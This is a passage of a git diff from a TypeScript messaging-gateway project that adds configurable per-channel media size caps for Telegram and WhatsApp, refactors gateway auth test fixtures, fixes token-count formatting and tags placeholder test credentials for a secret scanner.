async () => { const chatId = "123"; const sendAnimation = vi.fn().mockResolvedValue({ @@ -1149,6 +1174,69 @@ describe("sendMessageTelegram", () => { }); expect(res.messageId).toBe("59"); }); + + it("defaults outbound media uploads to 100MB", async () => { + const chatId = "123"; + const sendPhoto = vi.fn().mockResolvedValue({ + message_id: 60, + chat: { id: chatId }, + }); + const api = { sendPhoto } as unknown as { + sendPhoto: typeof sendPhoto; + }; + + mockLoadedMedia({ + buffer: Buffer.from("fake-image"), + contentType: "image/jpeg", + fileName: "photo.jpg", + }); + + await sendMessageTelegram(chatId, "photo", { + token: "tok", + api, + mediaUrl: "https://example.com/photo.jpg", + }); + + expect(loadWebMedia).toHaveBeenCalledWith( + "https://example.com/photo.jpg", + expect.objectContaining({ maxBytes: 100 * 1024 * 1024 }), + ); + }); + + it("uses configured telegram mediaMaxMb for outbound uploads", async () => { + const chatId = "123"; + const sendPhoto = vi.fn().mockResolvedValue({ + message_id: 61, + chat: { id: chatId }, + }); + const api = { sendPhoto } as unknown as { + sendPhoto: typeof sendPhoto; + }; + loadConfig.mockReturnValue({ + channels: { + telegram: { + mediaMaxMb: 42, + }, + }, + }); + + mockLoadedMedia({ + buffer: Buffer.from("fake-image"), + contentType: "image/jpeg", + fileName: "photo.jpg", + }); + + await sendMessageTelegram(chatId, "photo", { + token: "tok", + api, + mediaUrl: "https://example.com/photo.jpg", + }); + + expect(loadWebMedia).toHaveBeenCalledWith( + "https://example.com/photo.jpg", + expect.objectContaining({ maxBytes: 42 * 1024 * 1024 }), + ); + }); }); describe("reactMessageTelegram", () => { diff --git a/src/telegram/send.ts b/src/telegram/send.ts index b04bd792529..61292f66608 100644 --- a/src/telegram/send.ts +++ b/src/telegram/send.ts @@ -473,6 +473,9 @@ export async function sendMessageTelegram( verbose: opts.verbose, }); const mediaUrl = opts.mediaUrl?.trim(); + const mediaMaxBytes = + opts.maxBytes ?? + (typeof account.config.mediaMaxMb === "number" ? account.config.mediaMaxMb : 100) * 1024 * 1024; const replyMarkup = buildInlineKeyboard(opts.buttons); const threadParams = buildTelegramThreadReplyParams({ @@ -563,7 +566,7 @@ export async function sendMessageTelegram( const media = await loadWebMedia( mediaUrl, buildOutboundMediaLoadOptions({ - maxBytes: opts.maxBytes, + maxBytes: mediaMaxBytes, mediaLocalRoots: opts.mediaLocalRoots, }), ); diff --git a/src/test-utils/channel-plugin-test-fixtures.ts b/src/test-utils/channel-plugin-test-fixtures.ts new file mode 100644 index 00000000000..39f5a617787 --- /dev/null +++ b/src/test-utils/channel-plugin-test-fixtures.ts @@ -0,0 +1,24 @@ +import type { ChannelPlugin } from "../channels/plugins/types.js"; + +export function makeDirectPlugin(params: { + id: string; + label: string; + docsPath: string; + config: ChannelPlugin["config"]; +}): ChannelPlugin { + return { + id: params.id, + meta: { + id: params.id, + label: params.label, + selectionLabel: params.label, + docsPath: params.docsPath, + blurb: "test", + }, + capabilities: { chatTypes: ["direct"] }, + config: params.config, + actions: { + listActions: () => ["send"], + }, + }; +} diff --git a/src/test-utils/exec-assertions.ts b/src/test-utils/exec-assertions.ts index def16cdfa05..58b77f9f730 100644 --- a/src/test-utils/exec-assertions.ts +++ b/src/test-utils/exec-assertions.ts @@ -1,8 +1,25 @@ +import fs from "node:fs"; +import path from "node:path"; import { expect } from "vitest"; +function normalizeDarwinTmpPath(filePath: string): string { + return process.platform === "darwin" && filePath.startsWith("/private/var/") + ? filePath.slice("/private".length) + : filePath; +} + +function canonicalizeComparableDir(dirPath: string): string { + const normalized = normalizeDarwinTmpPath(path.resolve(dirPath)); + try { + return normalizeDarwinTmpPath(fs.realpathSync.native(normalized)); + } catch { + return normalized; + } +} + export function expectSingleNpmInstallIgnoreScriptsCall(params: { calls: Array<[unknown, { cwd?: string } | undefined]>; - expectedCwd: string; + expectedTargetDir: string; }) { const npmCalls = params.calls.filter((call) => Array.isArray(call[0]) && call[0][0] === "npm"); expect(npmCalls.length).toBe(1); @@ -19,7 +36,13 @@ export function expectSingleNpmInstallIgnoreScriptsCall(params: { "--silent", "--ignore-scripts", ]); - expect(opts?.cwd).toBe(params.expectedCwd); + expect(opts?.cwd).toBeTruthy(); + const cwd = String(opts?.cwd); + const expectedTargetDir = params.expectedTargetDir; + expect(canonicalizeComparableDir(path.dirname(cwd))).toBe( + canonicalizeComparableDir(path.dirname(expectedTargetDir)), + ); + expect(path.basename(cwd)).toMatch(/^\.openclaw-install-stage-/); } export function expectSingleNpmPackIgnoreScriptsCall(params: { diff --git a/src/test-utils/imessage-test-plugin.ts b/src/test-utils/imessage-test-plugin.ts index 104d8ca847f..5a072141644 100644 --- a/src/test-utils/imessage-test-plugin.ts +++ b/src/test-utils/imessage-test-plugin.ts @@ -1,6 +1,7 @@ import { imessageOutbound } from "../channels/plugins/outbound/imessage.js"; import type { ChannelOutboundAdapter, ChannelPlugin } from "../channels/plugins/types.js"; import { normalizeIMessageHandle } from "../imessage/targets.js"; +import { collectStatusIssuesFromLastError } from "../plugin-sdk/status-helpers.js"; export const createIMessageTestPlugin = (params?: { outbound?: ChannelOutboundAdapter; @@ -20,21 +21,7 @@ export const createIMessageTestPlugin = (params?: { resolveAccount: () => ({}), }, status: { - collectStatusIssues: (accounts) => - accounts.flatMap((account) => { - const lastError = typeof account.lastError === "string" ? account.lastError.trim() : ""; - if (!lastError) { - return []; - } - return [ - { - channel: "imessage", - accountId: account.accountId, - kind: "runtime", - message: `Channel error: ${lastError}`, - }, - ]; - }), + collectStatusIssues: (accounts) => collectStatusIssuesFromLastError("imessage", accounts), }, outbound: params?.outbound ?? imessageOutbound, messaging: { diff --git a/src/test-utils/model-fallback.mock.ts b/src/test-utils/model-fallback.mock.ts index 21053e2466e..4431db3db96 100644 --- a/src/test-utils/model-fallback.mock.ts +++ b/src/test-utils/model-fallback.mock.ts @@ -4,7 +4,7 @@ export async function runWithModelFallback(params: { run: ( provider: string, model: string, - options?: { allowRateLimitCooldownProbe?: boolean }, + options?: { allowTransientCooldownProbe?: boolean }, ) => Promise; }) { return { diff --git a/src/test-utils/npm-spec-install-test-helpers.ts b/src/test-utils/npm-spec-install-test-helpers.ts index 9ef8e29404e..bebff88ba45 100644 --- a/src/test-utils/npm-spec-install-test-helpers.ts +++ b/src/test-utils/npm-spec-install-test-helpers.ts @@ -112,6 +112,6 @@ export async function expectInstallUsesIgnoreScripts(params: { } expectSingleNpmInstallIgnoreScriptsCall({ calls: params.run.mock.calls as Array<[unknown, { cwd?: string } | undefined]>, - expectedCwd: result.targetDir, + expectedTargetDir: result.targetDir, }); } diff --git a/src/tui/gateway-chat.test.ts b/src/tui/gateway-chat.test.ts index 58d5433f07f..204172e4fb2 100644 --- a/src/tui/gateway-chat.test.ts +++ b/src/tui/gateway-chat.test.ts @@ -21,6 +21,67 @@ async function fileExists(filePath: string): Promise { } } +type ModeExecProviderFixture = { + tokenMarker: string; + passwordMarker: string; + providers: { + tokenProvider: { + source: "exec"; + command: string; + args: string[]; + allowInsecurePath: true; + }; + passwordProvider: { + source: "exec"; + command: string; + args: string[]; + allowInsecurePath: true; + }; + }; +}; + +async function withModeExecProviderFixture( + label: string, + run: (fixture: ModeExecProviderFixture) => Promise, +) { + const tempDir = await fs.mkdtemp(path.join(os.tmpdir(), `openclaw-tui-mode-${label}-`)); + const tokenMarker = path.join(tempDir, "token-provider-ran"); + const passwordMarker = path.join(tempDir, "password-provider-ran"); + const tokenExecProgram = [ + "const fs=require('node:fs');", + `fs.writeFileSync(${JSON.stringify(tokenMarker)},'1');`, + "process.stdout.write(JSON.stringify({ protocolVersion: 1, values: { TOKEN_SECRET: 'token-from-exec' } }));", // pragma: allowlist secret + ].join(""); + const passwordExecProgram = [ + "const fs=require('node:fs');", + `fs.writeFileSync(${JSON.stringify(passwordMarker)},'1');`, + "process.stdout.write(JSON.stringify({ protocolVersion: 1, values: { PASSWORD_SECRET: 'password-from-exec' } }));", // pragma: allowlist secret + ].join(""); + + try { + await run({ + tokenMarker, + passwordMarker, + providers: { + tokenProvider: { + source: "exec", + command: process.execPath, + args: ["-e", tokenExecProgram], + allowInsecurePath: true, + }, + passwordProvider: { + source: "exec", + command: process.execPath, + args: ["-e", passwordExecProgram], + allowInsecurePath: true, + }, + }, + }); + } finally { + await fs.rm(tempDir, { recursive: true, force: true }); + } +} + describe("resolveGatewayConnection", () => { let envSnapshot: ReturnType; @@ -118,7 +179,7 @@ describe("resolveGatewayConnection", () => { gateway: { mode: "local", auth: { - password: "config-password", + password: "config-password", // pragma: allowlist secret }, }, }); @@ -134,7 +195,7 @@ describe("resolveGatewayConnection", () => { mode: "local", auth: { token: "config-token", - password: "config-password", + password: "config-password", // pragma: allowlist secret }, }, }); @@ -180,13 +241,15 @@ describe("resolveGatewayConnection", () => { loadConfig.mockReturnValue({ gateway: { mode: "remote", - remote: { url: "wss://remote.example/ws", token: "remote-token", password: "remote-pass" }, + remote: { url: "wss://remote.example/ws", token: "remote-token", password: "remote-pass" }, // pragma: allowlist secret }, }); - await withEnvAsync({ OPENCLAW_GATEWAY_PASSWORD: "env-pass" }, async () => { + const gatewayPasswordEnv = "OPENCLAW_GATEWAY_PASSWORD"; // pragma: allowlist secret + const gatewayPassword = "env-pass"; // pragma: allowlist secret + await withEnvAsync({ [gatewayPasswordEnv]: gatewayPassword }, async () => { const result = await resolveGatewayConnection({}); - expect(result.password).toBe("env-pass"); + expect(result.password).toBe(gatewayPassword); }); }); @@ -257,108 +320,56 @@ describe("resolveGatewayConnection", () => { }); it("resolves only token SecretRef when gateway.auth.mode is token", async () => { - const tempDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-tui-mode-token-")); - const tokenMarker = path.join(tempDir, "token-provider-ran"); - const passwordMarker = path.join(tempDir, "password-provider-ran"); - const tokenExecProgram = [ - "const fs=require('node:fs');", - `fs.writeFileSync(${JSON.stringify(tokenMarker)},'1');`, - "process.stdout.write(JSON.stringify({ protocolVersion: 1, values: { TOKEN_SECRET: 'token-from-exec' } }));", - ].join(""); - const passwordExecProgram = [ - "const fs=require('node:fs');", - `fs.writeFileSync(${JSON.stringify(passwordMarker)},'1');`, - "process.stdout.write(JSON.stringify({ protocolVersion: 1, values: { PASSWORD_SECRET: 'password-from-exec' } }));", - ].join(""); - - loadConfig.mockReturnValue({ - secrets: { - providers: { - tokenProvider: { - source: "exec", - command: process.execPath, - args: ["-e", tokenExecProgram], - allowInsecurePath: true, + await withModeExecProviderFixture( + "token", + async ({ tokenMarker, passwordMarker, providers }) => { + loadConfig.mockReturnValue({ + secrets: { + providers, }, - passwordProvider: { - source: "exec", - command: process.execPath, - args: ["-e", passwordExecProgram], - allowInsecurePath: true, + gateway: { + mode: "local", + auth: { + mode: "token", + token: { source: "exec", provider: "tokenProvider", id: "TOKEN_SECRET" }, + password: { source: "exec", provider: "passwordProvider", id: "PASSWORD_SECRET" }, + }, }, - }, - }, - gateway: { - mode: "local", - auth: { - mode: "token", - token: { source: "exec", provider: "tokenProvider", id: "TOKEN_SECRET" }, - password: { source: "exec", provider: "passwordProvider", id: "PASSWORD_SECRET" }, - }, - }, - }); + }); - try { - const result = await resolveGatewayConnection({}); - expect(result.token).toBe("token-from-exec"); - expect(result.password).toBeUndefined(); - expect(await fileExists(tokenMarker)).toBe(true); - expect(await fileExists(passwordMarker)).toBe(false); - } finally { - await fs.rm(tempDir, { recursive: true, force: true }); - } + const result = await resolveGatewayConnection({}); + expect(result.token).toBe("token-from-exec"); + expect(result.password).toBeUndefined(); + expect(await fileExists(tokenMarker)).toBe(true); + expect(await fileExists(passwordMarker)).toBe(false); + }, + ); }); it("resolves only password SecretRef when gateway.auth.mode is password", async () => { - const tempDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-tui-mode-password-")); - const tokenMarker = path.join(tempDir, "token-provider-ran"); - const passwordMarker = path.join(tempDir, "password-provider-ran"); - const tokenExecProgram = [ - "const fs=require('node:fs');", - `fs.writeFileSync(${JSON.stringify(tokenMarker)},'1');`, - "process.stdout.write(JSON.stringify({ protocolVersion: 1, values: { TOKEN_SECRET: 'token-from-exec' } }));", - ].join(""); - const passwordExecProgram = [ - "const fs=require('node:fs');", - `fs.writeFileSync(${JSON.stringify(passwordMarker)},'1');`, - "process.stdout.write(JSON.stringify({ protocolVersion: 1, values: { PASSWORD_SECRET: 'password-from-exec' } }));", - ].join(""); - - loadConfig.mockReturnValue({ - secrets: { - providers: { - tokenProvider: { - source: "exec", - command: process.execPath, - args: ["-e", tokenExecProgram], - allowInsecurePath: true, + await withModeExecProviderFixture( + "password", + async ({ tokenMarker, passwordMarker, providers }) => { + loadConfig.mockReturnValue({ + secrets: { + providers, }, - passwordProvider: { - source: "exec", - command: process.execPath, - args: ["-e", passwordExecProgram], - allowInsecurePath: true, + gateway: { + mode: "local", + auth: { + mode: "password", + token: { source: "exec", provider: "tokenProvider", id: "TOKEN_SECRET" }, + password: { source: "exec", provider: "passwordProvider", id: "PASSWORD_SECRET" }, + }, }, - }, - }, - gateway: { - mode: "local", - auth: { - mode: "password", - token: { source: "exec", provider: "tokenProvider", id: "TOKEN_SECRET" }, - password: { source: "exec", provider: "passwordProvider", id: "PASSWORD_SECRET" }, - }, - }, - }); + }); - try { - const result = await resolveGatewayConnection({}); - expect(result.password).toBe("password-from-exec"); - expect(result.token).toBeUndefined(); - expect(await fileExists(tokenMarker)).toBe(false); - expect(await fileExists(passwordMarker)).toBe(true); - } finally { - await fs.rm(tempDir, { recursive: true, force: true }); - } + const result = await resolveGatewayConnection({}); + expect(result.password).toBe("password-from-exec"); + expect(result.token).toBeUndefined(); + expect(await fileExists(tokenMarker)).toBe(false); + expect(await fileExists(passwordMarker)).toBe(true); + }, + ); }); }); diff --git a/src/tui/gateway-chat.ts b/src/tui/gateway-chat.ts index a595cd7a70d..4001cba4008 100644 --- a/src/tui/gateway-chat.ts +++ b/src/tui/gateway-chat.ts @@ -369,7 +369,7 @@ export async function resolveGatewayConnection( }; } - if (gatewayAuthMode === "token") { + const resolveToken = async () => { const localToken = explicitAuth.token || envToken ? { value: explicitAuth.token ?? envToken } @@ -385,6 +385,11 @@ export async function resolveGatewayConnection( localToken.unresolvedRefReason ?? "Missing gateway auth token.", ); } + return token; + }; + + if (gatewayAuthMode === "token") { + const token = await resolveToken(); return { url, token, @@ -418,21 +423,7 @@ export async function resolveGatewayConnection( }; } - const localToken = - explicitAuth.token || envToken - ? { value: explicitAuth.token ?? envToken } - : await resolveConfiguredSecretInputString({ - value: config.gateway?.auth?.token, - path: "gateway.auth.token", - env, - config, - }); - const token = explicitAuth.token ?? envToken ?? localToken.value; - if (!token) { - throwGatewayAuthResolutionError( - localToken.unresolvedRefReason ?? "Missing gateway auth token.", - ); - } + const token = await resolveToken(); return { url, token, diff --git a/src/tui/tui-formatters.test.ts b/src/tui/tui-formatters.test.ts index c4dfa26bb14..3ceb0c56570 100644 --- a/src/tui/tui-formatters.test.ts +++ b/src/tui/tui-formatters.test.ts @@ -250,14 +250,14 @@ describe("sanitizeRenderableText", () => { }); it("preserves long credential-like mixed alnum tokens for copy safety", () => { - const input = "e3b19c3b87bcf364b23eebb2c276e96ec478956ba1d84c93"; + const input = "e3b19c3b87bcf364b23eebb2c276e96ec478956ba1d84c93"; // pragma: allowlist secret const sanitized = sanitizeRenderableText(input); expect(sanitized).toBe(input); }); it("preserves quoted credential-like mixed alnum tokens for copy safety", () => { - const input = "'e3b19c3b87bcf364b23eebb2c276e96ec478956ba1d84c93'"; + const input = "'e3b19c3b87bcf364b23eebb2c276e96ec478956ba1d84c93'"; // pragma: allowlist secret const sanitized = sanitizeRenderableText(input); expect(sanitized).toBe(input); diff --git a/src/utils/mask-api-key.test.ts b/src/utils/mask-api-key.test.ts index 3620dc01b34..023576a4eeb 100644 --- a/src/utils/mask-api-key.test.ts +++ b/src/utils/mask-api-key.test.ts @@ -15,6 +15,6 @@ describe("maskApiKey", () => { }); it("masks long values with first and last 8 chars", () => { - expect(maskApiKey("1234567890abcdefghijklmnop")).toBe("12345678...ijklmnop"); + expect(maskApiKey("1234567890abcdefghijklmnop")).toBe("12345678...ijklmnop"); // pragma: allowlist secret }); }); diff --git a/src/utils/usage-format.test.ts b/src/utils/usage-format.test.ts index 25dac6d612e..128e048001e 100644 --- a/src/utils/usage-format.test.ts +++ b/src/utils/usage-format.test.ts @@ -12,6 +12,8 @@ describe("usage-format", () => { expect(formatTokenCount(999)).toBe("999"); expect(formatTokenCount(1234)).toBe("1.2k"); expect(formatTokenCount(12000)).toBe("12k"); + expect(formatTokenCount(999_499)).toBe("999k"); + expect(formatTokenCount(999_500)).toBe("1.0m"); expect(formatTokenCount(2_500_000)).toBe("2.5m"); }); diff --git a/src/utils/usage-format.ts b/src/utils/usage-format.ts index f8182f5dbb0..1086163bf20 100644 --- a/src/utils/usage-format.ts +++ b/src/utils/usage-format.ts @@ -25,7 +25,12 @@ export function formatTokenCount(value?: number): string { return `${(safe / 1_000_000).toFixed(1)}m`; } if (safe >= 1_000) { - return `${(safe / 1_000).toFixed(safe >= 10_000 ? 0 : 1)}k`; + const precision = safe >= 10_000 ? 0 : 1; + const formattedThousands = (safe / 1_000).toFixed(precision); + if (Number(formattedThousands) >= 1_000) { + return `${(safe / 1_000_000).toFixed(1)}m`; + } + return `${formattedThousands}k`; } return String(Math.round(safe)); } diff --git a/src/web/accounts.ts b/src/web/accounts.ts index 52fb5caabeb..3370d4c9d80 100644 --- a/src/web/accounts.ts +++ b/src/web/accounts.ts @@ -31,6 +31,8 @@ export type ResolvedWhatsAppAccount = { debounceMs?: number; }; +export const DEFAULT_WHATSAPP_MEDIA_MAX_MB = 50; + const { listConfiguredAccountIds, listAccountIds, resolveDefaultAccountId } = createAccountListHelpers("whatsapp"); export const listWhatsAppAccountIds = listAccountIds; @@ -147,6 +149,16 @@ export function resolveWhatsAppAccount(params: { }; } +export function resolveWhatsAppMediaMaxBytes( + account: Pick, +): number { + const mediaMaxMb = + typeof account.mediaMaxMb === "number" && account.mediaMaxMb > 0 + ? account.mediaMaxMb + : DEFAULT_WHATSAPP_MEDIA_MAX_MB; + return mediaMaxMb * 1024 * 1024; +} + export function listEnabledWhatsAppAccounts(cfg: OpenClawConfig): ResolvedWhatsAppAccount[] { return listWhatsAppAccountIds(cfg) .map((accountId) => resolveWhatsAppAccount({ cfg, accountId })) diff --git a/src/web/auto-reply.web-auto-reply.compresses-common-formats-jpeg-cap.test.ts b/src/web/auto-reply.web-auto-reply.compresses-common-formats-jpeg-cap.test.ts index 9d74ece0e64..7d9e5150d92 100644 --- a/src/web/auto-reply.web-auto-reply.compresses-common-formats-jpeg-cap.test.ts +++ b/src/web/auto-reply.web-auto-reply.compresses-common-formats-jpeg-cap.test.ts @@ -73,7 +73,14 @@ describe("web auto-reply", () => { } async function withMediaCap(mediaMaxMb: number, run: () => Promise): Promise { - setLoadConfigMock(() => ({ agents: { defaults: { mediaMaxMb } } })); + setLoadConfigMock(() => ({ + channels: { + whatsapp: { + allowFrom: ["*"], + mediaMaxMb, + }, + }, + })); try { return await run(); } finally { @@ -215,7 +222,7 @@ describe("web auto-reply", () => { }); }); - it("honors mediaMaxMb from config", async () => { + it("honors channels.whatsapp.mediaMaxMb for outbound auto-replies", async () => { const bigPng = await sharp({ create: { width: 256, @@ -235,6 +242,53 @@ describe("web auto-reply", () => { mediaMaxMb: SMALL_MEDIA_CAP_MB, }); }); + + it("prefers per-account WhatsApp media caps for outbound auto-replies", async () => { + const bigPng = await sharp({ + create: { + width: 256, + height: 256, + channels: 3, + background: { r: 255, g: 0, b: 0 }, + }, + }) + .png({ compressionLevel: 0 }) + .toBuffer(); + expect(bigPng.length).toBeGreaterThan(SMALL_MEDIA_CAP_BYTES); + + setLoadConfigMock(() => ({ + channels: { + whatsapp: { + allowFrom: ["*"], + mediaMaxMb: 1, + accounts: { + work: { + mediaMaxMb: SMALL_MEDIA_CAP_MB, + }, + }, + }, + }, + })); + + try { + const sendMedia = vi.fn(); + const { reply, dispatch } = await setupSingleInboundMessage({ + resolverValue: { text: "hi", mediaUrl: "https://example.com/account-big.png" }, + sendMedia, + }); + const fetchMock = mockFetchMediaBuffer(bigPng, "image/png"); + + await dispatch("msg-account-cap", { accountId: "work" }); + + const payload = getSingleImagePayload(sendMedia); + expect(payload.image.length).toBeLessThanOrEqual(SMALL_MEDIA_CAP_BYTES); + expect(payload.mimetype).toBe("image/jpeg"); + expect(reply).not.toHaveBeenCalled(); + fetchMock.mockRestore(); + } finally { + resetLoadConfigMock(); + } + }); it("falls back to text when media is unsupported", async () => { const sendMedia = vi.fn(); const { reply, dispatch } = await setupSingleInboundMessage({ diff --git a/src/web/auto-reply/monitor.ts b/src/web/auto-reply/monitor.ts index b7e2bb2683f..a9ef2f4b229 100644 --- a/src/web/auto-reply/monitor.ts +++ b/src/web/auto-reply/monitor.ts @@ -5,6 +5,7 @@ import { DEFAULT_GROUP_HISTORY_LIMIT } from "../../auto-reply/reply/history.js"; import { formatCliCommand } from "../../cli/command-format.js"; import { waitForever } from "../../cli/wait.js"; import { loadConfig } from "../../config/config.js"; +import { createConnectedChannelStatusPatch } from "../../gateway/channel-status-patches.js"; import { logVerbose } from "../../globals.js"; import { formatDurationPrecise } from "../../infra/format-time/format-duration.ts"; import { enqueueSystemEvent } from "../../infra/system-events.js"; @@ -12,7 +13,7 @@ import { registerUnhandledRejectionHandler } from "../../infra/unhandled-rejecti import { getChildLogger } from "../../logging.js"; import { resolveAgentRoute } from "../../routing/resolve-route.js"; import { defaultRuntime, type RuntimeEnv } from "../../runtime.js"; -import { resolveWhatsAppAccount } from "../accounts.js"; +import { resolveWhatsAppAccount, resolveWhatsAppMediaMaxBytes } from "../accounts.js"; import { setActiveWebListener } from "../active-listener.js"; import { monitorWebInbox } from "../inbound.js"; import { @@ -23,7 +24,6 @@ import { sleepWithAbort, } from "../reconnect.js"; import { formatError, getWebAuthAgeMs, readWebSelfId } from "../session.js"; -import { DEFAULT_WEB_MEDIA_BYTES } from "./constants.js"; import { whatsappHeartbeatLog, whatsappLog } from "./loggers.js"; import { buildMentionConfig } from "./mentions.js"; import { createEchoTracker } from "./monitor/echo.js"; @@ -93,11 +93,7 @@ export async function monitorWebChannel( }, } satisfies ReturnType; - const configuredMaxMb = cfg.agents?.defaults?.mediaMaxMb; - const maxMediaBytes = - typeof configuredMaxMb === "number" && configuredMaxMb > 0 - ? configuredMaxMb * 1024 * 1024 - : DEFAULT_WEB_MEDIA_BYTES; + const maxMediaBytes = resolveWhatsAppMediaMaxBytes(account); const heartbeatSeconds = resolveHeartbeatSeconds(cfg, tuning.heartbeatSeconds); const reconnectPolicy = resolveReconnectPolicy(cfg, tuning.reconnect); const baseMentionConfig = buildMentionConfig(cfg); @@ -215,9 +211,7 @@ export async function monitorWebChannel( }, }); - status.connected = true; - status.lastConnectedAt = Date.now(); - status.lastEventAt = status.lastConnectedAt; + Object.assign(status, createConnectedChannelStatusPatch()); status.lastError = null; emitStatus(); diff --git a/src/web/auto-reply/monitor/process-message.inbound-contract.test.ts b/src/web/auto-reply/monitor/process-message.inbound-contract.test.ts index 94b550b2b2a..ce3c9700d7b 100644 --- a/src/web/auto-reply/monitor/process-message.inbound-contract.test.ts +++ b/src/web/auto-reply/monitor/process-message.inbound-contract.test.ts @@ -127,6 +127,32 @@ describe("web processMessage inbound contract", () => { } }); + async function processSelfDirectMessage(cfg: unknown) { + capturedDispatchParams = undefined; + await processMessage( + makeProcessMessageArgs({ + routeSessionKey: "agent:main:whatsapp:direct:+1555", + groupHistoryKey: "+1555", + cfg, + msg: { + id: "msg1", + from: "+1555", + to: "+1555", + selfE164: "+1555", + chatType: "direct", + body: "hi", + }, + }), + ); + } + + function getDispatcherResponsePrefix() { + // oxlint-disable-next-line typescript/no-explicit-any + const dispatcherOptions = (capturedDispatchParams as any)?.dispatcherOptions; + // oxlint-disable-next-line typescript/no-explicit-any + return dispatcherOptions?.responsePrefix as string | undefined; + } + it("passes a finalized MsgContext to the dispatcher", async () => { await processMessage( makeProcessMessageArgs({ @@ -184,66 +210,30 @@ describe("web processMessage inbound contract", () => { }); it("defaults responsePrefix to identity name in self-chats when unset", async () => { - capturedDispatchParams = undefined; - - await processMessage( - makeProcessMessageArgs({ - routeSessionKey: "agent:main:whatsapp:direct:+1555", - groupHistoryKey: "+1555", - cfg: { - agents: { - list: [ - { - id: "main", - default: true, - identity: { name: "Mainbot", emoji: "🦞", theme: "space lobster" }, - }, - ], + await processSelfDirectMessage({ + agents: { + list: [ + { + id: "main", + default: true, + identity: { name: "Mainbot", emoji: "🦞", theme: "space lobster" }, }, - messages: {}, - session: { store: sessionStorePath }, - } as unknown as ReturnType, - msg: { - id: "msg1", - from: "+1555", - to: "+1555", - selfE164: "+1555", - chatType: "direct", - body: "hi", - }, - }), - ); + ], + }, + messages: {}, + session: { store: sessionStorePath }, + } as unknown as ReturnType); - // oxlint-disable-next-line typescript/no-explicit-any - const dispatcherOptions = (capturedDispatchParams as any)?.dispatcherOptions; - expect(dispatcherOptions?.responsePrefix).toBe("[Mainbot]"); + expect(getDispatcherResponsePrefix()).toBe("[Mainbot]"); }); it("does not force an [openclaw] response prefix in self-chats when identity is unset", async () => { - capturedDispatchParams = undefined; + await processSelfDirectMessage({ + messages: {}, + session: { store: sessionStorePath }, + } as unknown as ReturnType); - await processMessage( - makeProcessMessageArgs({ - routeSessionKey: "agent:main:whatsapp:direct:+1555", - groupHistoryKey: "+1555", - cfg: { - messages: {}, - session: { store: sessionStorePath }, - } as unknown as ReturnType, - msg: { - id: "msg1", - from: "+1555", - to: "+1555", - selfE164: "+1555", - chatType: "direct", - body: "hi", - }, - }), - ); - - // oxlint-disable-next-line typescript/no-explicit-any - const dispatcherOptions = (capturedDispatchParams as any)?.dispatcherOptions; - expect(dispatcherOptions?.responsePrefix).toBeUndefined(); + expect(getDispatcherResponsePrefix()).toBeUndefined(); }); it("clears pending group history when the dispatcher does not queue a final reply", async () => { diff --git a/src/web/media.test.ts b/src/web/media.test.ts index d91ed4b7d66..9db06e3024a 100644 --- a/src/web/media.test.ts +++ b/src/web/media.test.ts @@ -16,6 +16,17 @@ import { optimizeImageToJpeg, } from "./media.js"; +const convertHeicToJpegMock = vi.fn(); + +vi.mock("../media/image-ops.js", async () => { + const actual = + await vi.importActual("../media/image-ops.js"); + return { + ...actual, + convertHeicToJpeg: (...args: unknown[]) => convertHeicToJpegMock(...args), + }; +}); + let fixtureRoot = ""; let fixtureFileCount = 0; let largeJpegBuffer: Buffer; @@ -23,6 +34,7 @@ let largeJpegFile = ""; let tinyPngBuffer: Buffer; let tinyPngFile = ""; let tinyPngWrongExtFile = ""; +let fakeHeicFile = ""; let alphaPngBuffer: Buffer; let alphaPngFile = ""; let fallbackPngBuffer: Buffer; @@ -76,6 +88,7 @@ beforeAll(async () => { .toBuffer(); tinyPngFile = await writeTempFile(tinyPngBuffer, ".png"); tinyPngWrongExtFile = await writeTempFile(tinyPngBuffer, ".bin"); + fakeHeicFile = await writeTempFile(Buffer.from("fake-heic"), ".heic"); alphaPngBuffer = await sharp({ create: { width: 64, @@ -178,6 +191,22 @@ describe("web media loading", () => { expect(result.contentType).toBe("image/jpeg"); }); + it("normalizes HEIC local files to JPEG output", async () => { + convertHeicToJpegMock.mockResolvedValueOnce(tinyPngBuffer); + + const result = await loadWebMedia(fakeHeicFile, 1024 * 1024); + + expect(convertHeicToJpegMock).toHaveBeenCalledTimes(1); + expect(result.kind).toBe("image"); + expect(result.contentType).toBe("image/jpeg"); + expect(result.fileName).toBe(path.basename(fakeHeicFile, ".heic") + ".jpg"); + expect(result.buffer.length).toBeGreaterThan(0); + expect(result.buffer.equals(tinyPngBuffer)).toBe(false); + // Confirm the output is actually JPEG (magic bytes 0xFF 0xD8) + expect(result.buffer[0]).toBe(0xff); + expect(result.buffer[1]).toBe(0xd8); + }); + it("includes URL + status in fetch errors", async () => { const fetchMock = vi.spyOn(globalThis, "fetch").mockResolvedValueOnce({ ok: false, diff --git a/src/web/outbound.test.ts b/src/web/outbound.test.ts index e60d15158fc..e494392d750 100644 --- a/src/web/outbound.test.ts +++ b/src/web/outbound.test.ts @@ -3,6 +3,7 @@ import fsSync from "node:fs"; import os from "node:os"; import path from "node:path"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import type { OpenClawConfig } from "../config/config.js"; import { resetLogger, setLoggerOverride } from "../logging.js"; import { redactIdentifier } from "../logging/redact-identifier.js"; import { setActiveWebListener } from "./active-listener.js"; @@ -34,6 +35,7 @@ describe("web outbound", () => { resetLogger(); setLoggerOverride(null); setActiveWebListener(null); + setActiveWebListener("work", null); }); it("sends message via active listener", async () => { @@ -140,6 +142,46 @@ describe("web outbound", () => { }); }); + it("uses account-aware WhatsApp media caps for outbound uploads", async () => { + setActiveWebListener("work", { + sendComposingTo, + sendMessage, + sendPoll, + sendReaction, + }); + loadWebMediaMock.mockResolvedValueOnce({ + buffer: Buffer.from("img"), + contentType: "image/jpeg", + kind: "image", + }); + + const cfg = { + channels: { + whatsapp: { + mediaMaxMb: 25, + accounts: { + work: { + mediaMaxMb: 100, + }, + }, + }, + }, + } as OpenClawConfig; + + await sendMessageWhatsApp("+1555", "pic", { + verbose: false, + accountId: "work", + cfg, + mediaUrl: "/tmp/pic.jpg", + mediaLocalRoots: ["/tmp/workspace"], + }); + + expect(loadWebMediaMock).toHaveBeenCalledWith("/tmp/pic.jpg", { + maxBytes: 100 * 1024 * 1024, + localRoots: ["/tmp/workspace"], + }); + }); + it("sends polls via active listener", async () => { const result = await sendPollWhatsApp( "+1555", diff --git a/src/web/outbound.ts b/src/web/outbound.ts index 95cc84b1f11..43136c6f779 100644 --- a/src/web/outbound.ts +++ 